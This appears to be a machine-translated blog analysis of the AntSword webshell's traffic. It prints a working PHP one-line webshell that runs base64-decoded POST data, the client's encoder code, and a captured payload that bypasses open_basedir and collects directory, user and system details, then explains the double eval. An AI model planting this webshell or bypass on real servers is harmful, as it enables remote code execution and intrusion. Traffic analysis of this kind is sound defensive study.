2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
faire référence à
parD'abordPar exemple
cheval de Troie
<?php @eval(base64_decode($_POST['ant']));?>
Obtenez le contenu du paramètre ant, puis décodez-le en base64 et exécutez-le
Encodeur
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Générez un nombre aléatoire randomID, encodez les données en base64 et transmettez-les dans le paramètre randomID.
Alorseval(base64_decode($_POST[${randomID}]));die();
Effectuer un encodage base64
Au contraire
Le cheval de Troie l'obtient en premierdata[pwd]
C'estant
La valeur est obtenue après décodage base64
eval(base64_decode($_POST[${randomID}]));die();
En fait, le cheval de Troie est devenu
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Supposons que le nombre aléatoire généré randomID soitA
, alors c'est
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
Dans la deuxième étape du cheval de Troie, ledata[randomID]
, c'est$_POST[${randomID}]
, c'est-à-dire ici$_POST[A]
Il a été codé en base64, il doit donc être décodé une fois. La question se pose alors : pourquoi doit-il être exécuté deux fois ? ? ?Ensuite, vous devez le vérifier à partir du package de trafic
Il n'y a pas de démonstration ici sur la construction de l'environnement. Xiaopi, Yijian et burpsuite suffisent.
Décoder la base de paquets de données
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Cela devient alorseval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Jetez un œil à ce gros paragraphe et faites le tri
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
Bien sûr, je ne connais pas beaucoup de fonctions, mais il y a l'IA !
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
Ce paragraphe est
Désactiver l'affichage des erreurs
Définir le temps d'exécution du script
Obtenez la valeur de configuration de open_basedir et contournezopen_basedir
Restrictions d'attribut
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
Cette section récupère le répertoire où se trouve le script actuel et initialise les paramètres de chaîne.$R
, parcourez la lettre de lecteur, CZ explose la lettre de lecteur, utilise la fonction posix_getegid pour obtenir le nom d'utilisateur, le groupe d'utilisateurs et d'autres contenus de l'utilisateur qui exécute le script, détecte$u
S'il existe. S'il n'existe pas, utilisez la fonction get_current_user() pour l'obtenir. Utilisez php_uname() pour obtenir les informations sur le système d'exploitation.
C'est très clair à ce stade. Ce code php obtient à la fin le répertoire d'exécution actuel, la lettre de lecteur, l'utilisateur et le système d'exploitation du cheval de Troie.
Effectuer une sortie collective dans la fonction asoutput(),
Envoyez le paquet de requête ci-dessus au module répéteur et constatez que les résultats renvoyés sont les mêmes
Mais cela ne peut toujours pas expliquer pourquoi il y a deux evals. En fait, le contenu transmis par ant appartient à la chaîne. Ce n'est que lorsqu'une couche d'eval est placée à l'extérieur que l'eval à l'intérieur sera exécuté en tant que fonction.
<?php
eval("eval('echo 1+1;');die();")
?>
Transformer
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
Le résultat final de sortie est 2, ce qui signifie que l'évaluation externe convertit la chaîne en fonction à exécuter et que la couche interne d'eval exécute le contenu.
Ainsi, dans cet exemple, l'évaluation du cheval de Troie est utilisée pour activer la fonction eval dans le package de requête, obtenant ainsi l'effet d'exécution d'une commande.